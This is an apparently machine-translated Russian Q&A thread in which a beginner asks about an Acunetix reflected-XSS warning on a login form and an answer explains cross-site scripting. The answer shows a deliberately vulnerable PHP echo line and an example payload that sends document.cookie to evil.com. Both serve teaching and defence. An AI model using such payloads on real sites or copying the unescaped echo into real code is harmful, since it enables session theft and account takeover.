JavaScript Acunetix Security Scan Предупреждение - PullRequest
1 голос
/ 12 января 2012

Запуск Acunetix на моем веб-сайте показывает серьезную уязвимость ниже

Зашифрованный URL-адрес GET для имени пользователя было установлено значение "onmouseover = prompt (994492) bad =" Ввод отражается внутри элемента тега между двойными кавычками.

Я пытался выяснить, что можно сделать с этим. Я довольно новичок в кодировании и ищу несколько советов. Что можно ввести в качестве имени пользователя, которое будет считаться вредоносным? Разве любой введенный код будет выполняться только на клиентском ПК, а не на сервере?

Примеры? Решения? Извините, я просто включил то, что я считаю, что это ссылка. Разве не было бы плохо ссылаться на мой сайт, если он находится под угрозой эксплуатации?

<form name="loginForm" action="LoginName.asp" method="post">
  <fieldset>
  <label for="username">User</label>
  <input type="text" name="username" value=""/>
  <label for="password">Password</label>
  <input type="password" name="password"/>
  </fieldset>
  <input type="hidden" name="originalURL" value="">
  <input type="submit" value="Login" class="form-btn" />
</form>

Похоже, ему не нравится имя пользователя или OriginalURL, и он говорит, что «злонамеренные пользователи могут внедрить JavaScript, VBScript, ActiveX, HTML или Flash в уязвимое приложение, чтобы обмануть пользователя с целью сбора данных из него. Злоумышленник может украсть Сеанс cookie и захват учетной записи, выдавая себя за пользователя. Также возможно изменить содержимое страницы, представленной пользователю. "

1 Ответ

1 голос
/ 27 сентября 2016

То, с чем вы столкнулись, - это уязвимость межсайтового скриптинга (XSS).

XSS - это уязвимость на стороне клиента, поэтому в отношении вашего вопроса «Не будет ли введенный код работать только наклиентский ПК, а не сервер? ", ответ на вопрос заключается в том, что он фактически запускается в браузере пользователя.

Сначала это может показаться безопасным, но XSS может иметь некоторые серьезные последствия, особенно в сочетании сдругие атаки, такие как фишинг.XSS может использоваться для ряда гнусных вещей, в том числе:

  • Кража файлов cookie браузера и, следовательно, предоставление злоумышленнику возможности выдавать себя за пользователя, который в данный момент вошел в приложение
  • Уничтожение веб-сайта,или изменение макета страницы
  • Скачивание с диска
  • Практически все, что вы можете сделать в браузере

В зависимости от того, чтоAcunetix сообщил (onmouseover=prompt(994492) bad=), что похоже на то, что злоумышленник может ввести символ " в значение атрибута HTML.Я попытаюсь объяснить, что я имею в виду ниже, с некоторым примером PHP-кода.

// Vulnerable to Reflected XSS
echo '<div class="' . $_GET['c'] . '"></div>';

В приведенном выше примере обычный пользователь сделал бы запрос вроде:

GET /test.php?c=blue HTTP/1.1

И этоприведет к тому, что на страницу будет выведено следующее:

<div class="blue"></div>

Однако злоумышленник может как-то убедить пользователя (например, с помощью фишинга) сделать следующий запрос:

GET /test.php?c="><script>window.location='http://evil.com/?cookie=' + document.cookie</script> HTTP/1.1

Это будетв результате:

<div class=""><script>window.location='http://evil.com/?cookie=' + document.cookie</script></div>

Как только жертва делает этот запрос, злоумышленник может скопировать содержимое файла cookie пользователя и выдать себя за него (при условии, что жертва вошла в систему, когда злоумышленник украл файл cookie).

Для получения дополнительной информации о том, что такое XSS, я бы порекомендовал взглянуть на эту статью , она немного вводная, но должна служить прочной основой.

Кроме того, я бы также порекомендовал прочитать эту статью в отношении исправления уязвимости XSS.

Кроме того, не так ли плохо было бы ссылаться на мой сайтесли это может быть использовано? "- Лучше нет, пока не исправишь хотя бы :)

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...